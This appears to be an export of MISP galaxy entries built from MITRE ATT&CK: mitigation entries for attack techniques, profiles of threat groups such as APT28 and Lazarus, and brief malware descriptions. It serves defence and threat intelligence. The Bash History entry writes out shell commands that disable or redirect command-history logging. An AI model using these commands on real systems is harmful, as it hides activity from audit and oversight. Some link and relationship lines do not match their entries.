Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](<https://attack.mitre.org/techniques/T1027>).

Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.

The tag is: *misp-galaxy:mitre-course-of-action="Spearphishing Attachment Mitigation - T1193"*

Spearphishing Attachment Mitigation - T1193 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1193" with estimative-language:likelihood-probability="almost-certain"

*Table 2734. Table References*

Links

<https://attack.mitre.org/mitigations/T1193>

## Bash History Mitigation - T1139

There are multiple methods of preventing a user's command history from being flushed to their `.bash_history` file, including use of the following commands: `set +o history` and `set -o history` to start logging again; `unset HISTFILE` being added to a user's `.bash_rc` file; and `ln -s /dev/null ~/.bash_history` to write commands to `/dev/null` instead.

The tag is: *misp-galaxy:mitre-course-of-action="Bash History Mitigation - T1139"*

Bash History Mitigation - T1139 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="Bash History - T1139"* with *estimative-language:likelihood-probability="almost-certain"*

<https://attack.mitre.org/mitigations/T1144>

## Private Keys Mitigation - T1145

Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on

systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [Valid Accounts](<https://attack.mitre.org/techniques/T1078>).

The tag is: *misp-galaxy:mitre-course-of-action="Private Keys Mitigation - T1145"*

Private Keys Mitigation - T1145 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"

*Table 2737. Table References*

Links
<a href="https://attack.mitre.org/mitigations/T1145">https://attack.mitre.org/mitigations/T1145</a>

## Hidden Users Mitigation - T1147

If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the `/Library/Preferences/com.apple.loginwindow` `Hide500Users` value will force all users to be visible.

The tag is: *misp-galaxy:mitre-course-of-action="Hidden Users Mitigation - T1147"*

Hidden Users Mitigation - T1147 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Hidden Users - T1147" with estimative-language:likelihood-probability="almost-certain"

Links
<a href="https://attack.mitre.org/mitigations/T1147">https://attack.mitre.org/mitigations/T1147</a>

## SSH Hijacking Mitigation - T1184

Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)

The tag is: *misp-galaxy:mitre-course-of-action="SSH Hijacking Mitigation - T1184"*

SSH Hijacking Mitigation - T1184 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"

## Process Doppelgänger Mitigation - T1186

This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Although Process Doppelgänger may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Process Doppelgänger Mitigation - T1186"*

Process Doppelgänger Mitigation - T1186 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Process Doppelgänger - T1186" with estimative-language:likelihood-probability="almost-certain"

## Forced Authentication Mitigation - T1187

Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)

For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.

Use strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.

The tag is: *misp-galaxy:mitre-course-of-action="Forced Authentication Mitigation - T1187"*

Forced Authentication Mitigation - T1187 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187"* with estimative-language:likelihood-probability="almost-certain"

# Application Vetting - M1005

Enterprises can vet applications for exploitable vulnerabilities or unwanted (privacy-invasive or malicious) behaviors. Enterprises can inspect applications themselves or use a third-party service.

Enterprises may impose policies to only allow pre-approved applications to be installed on their devices or may impose policies to block use of specific applications known to have issues. In Bring Your Own Device (BYOD) environments, enterprises may only be able to impose these policies over an enterprise-managed portion of the device.

Application Vetting is not a complete mitigation. Techniques such as [Detect App Analysis Environment](<https://attack.mitre.org/techniques/T1440>) exist that can enable adversaries to bypass vetting.

The tag is: *misp-galaxy:mitre-course-of-action="Application Vetting - M1005"*

Application Vetting - M1005 has relationships with:

Links
<a href="https://attack.mitre.org/mitigations/T1062">https://attack.mitre.org/mitigations/T1062</a>

## DCShadow Mitigation - T1207

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

The tag is: *misp-galaxy:mitre-course-of-action="DCShadow Mitigation - T1207"*

DCShadow Mitigation - T1207 has relationships with:

## Timestomp Mitigation - T1099

Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Timestomp Mitigation - T1099"*

Timestomp Mitigation - T1099 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="Timestomp - T1099"* with *estimative-language:likelihood-probability="almost-certain"*

*Table 2787. Table References*

<https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET>

## InstallUtil Mitigation - T1118

InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.

The tag is: *misp-galaxy:mitre-course-of-action="InstallUtil Mitigation - T1118"*

InstallUtil Mitigation - T1118 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="InstallUtil - T1118"* with *estimative-language:likelihood-probability="almost-certain"*

*Table 2789. Table References*

Links

<https://attack.mitre.org/mitigations/T1118>

## CMSTP Mitigation - T1191

CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)

The tag is: *misp-galaxy:mitre-course-of-action="CMSTP Mitigation - T1191"*

CMSTP Mitigation - T1191 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="CMSTP - T1191"* with *estimative-language:likelihood-probability="almost-certain"*

*Table 2790. Table References*

## Keychain Mitigation - T1142

The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.

The tag is: *misp-galaxy:mitre-course-of-action="Keychain Mitigation - T1142"*

Keychain Mitigation - T1142 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="Keychain - T1142"* with *estimative-language:likelihood-probability="almost-certain"*

*Table 2791. Table References*

Links
<a href="https://attack.mitre.org/mitigations/T1142">https://attack.mitre.org/mitigations/T1142</a>

## Launchctl Mitigation - T1152

Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.

The tag is: *misp-galaxy:mitre-course-of-action="Launchctl Mitigation - T1152"*

Launchctl Mitigation - T1152 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="Launchctl - T1152"* with *estimative-language:likelihood-probability="almost-certain"*

*Table 2792. Table References*

Links

<https://attack.mitre.org/mitigations/T1152>

## Source Mitigation - T1153

Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.

The tag is: *misp-galaxy:mitre-course-of-action="Source Mitigation - T1153"*

Source Mitigation - T1153 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Source - T1153" with estimative-language:likelihood-probability="almost-certain"

*Table 2793. Table References*

Links

<https://attack.mitre.org/mitigations/T1153>

## Trap Mitigation - T1154

Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.

The tag is: *misp-galaxy:mitre-course-of-action="Trap Mitigation - T1154"*

Trap Mitigation - T1154 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Trap - T1154" with estimative-language:likelihood-probability="almost-certain"

*Table 2794. Table References*

Links

<https://attack.mitre.org/mitigations/T1154>

## HISTCONTROL Mitigation - T1148

Prevent users from changing the `HISTCONTROL` environment variable (Citation: Securing bash history). Also, make sure that the `HISTCONTROL` environment variable is set to "ignoredup" instead of "ignoreboth" or "ignorespace".

The tag is: *misp-galaxy:mitre-course-of-action="HISTCONTROL Mitigation - T1148"*

HISTCONTROL Mitigation - T1148 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148" with estimative-language:likelihood-probability="almost-certain"

## AppleScript Mitigation - T1155

Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.

The tag is: *misp-galaxy:mitre-course-of-action="AppleScript Mitigation - T1155"*

AppleScript Mitigation - T1155 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="AppleScript - T1155"* with *estimative-language:likelihood-probability="almost-certain"*

## Sudo Mitigation - T1169

The sudoers file should be strictly edited such that passwords are always required and that users can't spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.

The tag is: *misp-galaxy:mitre-course-of-action="Sudo Mitigation - T1169"*

Sudo Mitigation - T1169 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="Sudo - T1169"* with *estimative-language:likelihood-probability="almost-certain"*

## Hooking Mitigation - T1179

This type of attack technique cannot be easily mitigated with preventive controls since it is based

on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

The tag is: *misp-galaxy:mitre-course-of-action="Hooking Mitigation - T1179"*

Hooking Mitigation - T1179 has relationships with:

- mitigates: *misp-galaxy:mitre-attack-pattern="Hooking - T1179"* with *estimative-language:likelihood-probability="almost-certain"*

## Dragonfly 2.0 - G0074

[Dragonfly 2.0](<https://attack.mitre.org/groups/G0074>) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](<https://attack.mitre.org/groups/G0074>) and [Dragonfly](<https://attack.mitre.org/groups/G0035>), but there is sufficient evidence to lead to these being tracked as two separate groups. ## Cobalt Group - G0080

[Cobalt Group](<https://attack.mitre.org/groups/G0080>) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt

Group](<https://attack.mitre.org/groups/G0080>) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](<https://attack.mitre.org/groups/G0080>) and both the malware [Carbanak](<https://attack.mitre.org/software/S0030>) and the group [Carbanak](<https://attack.mitre.org/groups/G0008>). ## Deep Panda - G0009

[Deep Panda](<https://attack.mitre.org/groups/G0009>) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](<https://attack.mitre.org/groups/G0009>). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](<https://attack.mitre.org/groups/G0009>) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](<https://attack.mitre.org/groups/G0009>) and [APT19](<https://attack.mitre.org/groups/G0073>) as the same group, but it is unclear from open source information if the groups are the same. ## Lazarus Group - G0032

[Lazarus Group](<https://attack.mitre.org/groups/G0032>) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](<https://attack.mitre.org/groups/G0032>) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](<https://attack.mitre.org/groups/G0032>) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)

North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](<https://attack.mitre.org/groups/G0032>) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](<https://attack.mitre.org/groups/G0067>), and [APT38](<https://attack.mitre.org/groups/G0082>) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

## Scarlet Mimic - G0029

[Scarlet Mimic](<https://attack.mitre.org/groups/G0029>) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](<https://attack.mitre.org/groups/G0029>) and [Putter Panda](<https://attack.mitre.org/groups/G0024>), it has not been concluded that the groups are the same. ## Winnti Group - G0044

[Winnti Group](<https://attack.mitre.org/groups/G0044>) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](<https://attack.mitre.org/groups/G0001>), [APT17](<https://attack.mitre.org/groups/G0025>), and [Ke3chang](<https://attack.mitre.org/groups/G0004>), are closely linked to [Winnti Group](<https://attack.mitre.org/groups/G0044>). ## Charming Kitten - G0058

[Charming Kitten](<https://attack.mitre.org/groups/G0058>) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [Charming Kitten](<https://attack.mitre.org/groups/G0058>) usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Magic Hound](<https://attack.mitre.org/groups/G0059>), resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)

## Turla - G0010

[Turla](<https://attack.mitre.org/groups/G0010>) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](<https://attack.mitre.org/groups/G0010>) is known for conducting watering

hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](<https://attack.mitre.org/groups/G0010>)'s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017) (Citation: CrowdStrike VENOMOUS BEAR) (Citation: ESET Turla Mosquito Jan 2018)

## APT32 - G0050

[APT32](<https://attack.mitre.org/groups/G0050>) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017) (Citation: ESET OceanLotus)

## TA505 - G0092

[TA505](<https://attack.mitre.org/groups/G0092>) is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)

## APT28 - G0007

[APT28](<https://attack.mitre.org/groups/G0007>) is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. [APT28](<https://attack.mitre.org/groups/G0007>) has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: CrowdStrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)

## Equation - G0020

[Equation](<https://attack.mitre.org/groups/G0020>) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)

## Moafee - G0002

[Moafee](<https://attack.mitre.org/groups/G0002>) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](<https://attack.mitre.org/groups/G0017>). ## Patchwork - G0040

[Patchwork](<https://attack.mitre.org/groups/G0040>) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](<https://attack.mitre.org/groups/G0040>) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](<https://attack.mitre.org/groups/G0040>) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)

## Carbanak - G0008

[Carbanak](<https://attack.mitre.org/groups/G0008>) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](<https://attack.mitre.org/software/S0030>)). It is sometimes referred to as [FIN7](<https://attack.mitre.org/groups/G0046>), but these appear to be two groups using the same [Carbanak](<https://attack.mitre.org/software/S0030>) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)

## admin@338 - G0018

[admin@338](<https://attack.mitre.org/groups/G0018>) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](<https://attack.mitre.org/software/S0012>), as well as some non-public backdoors. ## APT19 - G0073

[APT19](<https://attack.mitre.org/groups/G0073>) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](<https://attack.mitre.org/groups/G0073>) and [Deep Panda](<https://attack.mitre.org/groups/G0009>) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)

## DragonOK - G0017

[DragonOK](<https://attack.mitre.org/groups/G0017>) is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, [DragonOK](<https://attack.mitre.org/groups/G0017>) is thought to have a direct or indirect relationship with the threat group [Moafee](<https://attack.mitre.org/groups/G0002>). (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)

# Silence - G0091

[Silence](<https://attack.mitre.org/groups/G0091>) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing. (Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)

## APT3 - G0022

[APT3](<https://attack.mitre.org/groups/G0022>) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)

MITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)

## APT38 - G0082

[APT38](<https://attack.mitre.org/groups/G0082>) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018)

North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](<https://attack.mitre.org/groups/G0032>) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](<https://attack.mitre.org/groups/G0067>), and [APT38](<https://attack.mitre.org/groups/G0082>) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

## APT34 - G0057

APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state

interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)

## Group5 - G0043

[Group5](<https://attack.mitre.org/groups/G0043>) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](<https://attack.mitre.org/groups/G0043>) has used two commonly available remote access tools (RATs), [njRAT](<https://attack.mitre.org/software/S0385>) and [NanoCore](<https://attack.mitre.org/software/S0336>), as well as an Android RAT, DroidJack. ## Dragonfly - G0035

[Dragonfly](<https://attack.mitre.org/groups/G0035>) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)

A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](<https://attack.mitre.org/groups/G0074>). There is debate over the extent of the overlap between [Dragonfly](<https://attack.mitre.org/groups/G0035>) and [Dragonfly 2.0](<https://attack.mitre.org/groups/G0074>), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)

## APT37 - G0067

[APT37](<https://attack.mitre.org/groups/G0067>) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](<https://attack.mitre.org/groups/G0067>) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123)

North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](<https://attack.mitre.org/groups/G0032>) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](<https://attack.mitre.org/groups/G0067>), and [APT38](<https://attack.mitre.org/groups/G0082>) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.

## menuPass - G0045

[menuPass](<https://attack.mitre.org/groups/G0045>) is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: CrowdStrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017) (Citation: DOJ APT10 Dec 2018)

## FIN7 - G0046

[FIN7](<https://attack.mitre.org/groups/G0046>) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](<https://attack.mitre.org/groups/G0046>) was run out of a front company called Combi Security. [FIN7](<https://attack.mitre.org/groups/G0046>) is sometimes referred to as [Carbanak](<https://attack.mitre.org/groups/G0008>) Group, but these appear to be two groups using the same [Carbanak](<https://attack.mitre.org/software/S0030>) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018)

## OilRig - G0049

[OilRig](<https://attack.mitre.org/groups/G0049>) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.

## NEODYMIUM - G0055

[NEODYMIUM](<https://attack.mitre.org/groups/G0055>) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](<https://attack.mitre.org/groups/G0056>) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](<https://attack.mitre.org/groups/G0055>) is reportedly associated closely with [BlackOasis](<https://attack.mitre.org/groups/G0063>) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)

# X-Agent for Android - S0314

[X-Agent for Android](<https://attack.mitre.org/software/S0314>) is Android malware that was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data on where the victim device was used, and therefore could likely indicate the potential location of Ukrainian artillery. (Citation: CrowdStrike-Android) Is it tracked separately from the [CHOPSTICK](<https://attack.mitre.org/software/S0023>).

The tag is: *misp-galaxy:mitre-malware="X-Agent for Android - S0314"*

X-Agent for Android - S0314 is also known as:

## Gold Dragon - S0249

[Gold Dragon](<https://attack.mitre.org/software/S0249>) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](<https://attack.mitre.org/software/S0249>) was used along with [Brave Prince](<https://attack.mitre.org/software/S0252>) and [RunningRAT](<https://attack.mitre.org/software/S0253>) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. ## Olympic Destroyer - S0365

[Olympic Destroyer](<https://attack.mitre.org/software/S0365>) is malware that was first seen infecting computer systems at the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware appears to be to cause destructive impact to the affected systems. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. The malware has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)

## Shamoon - S0140

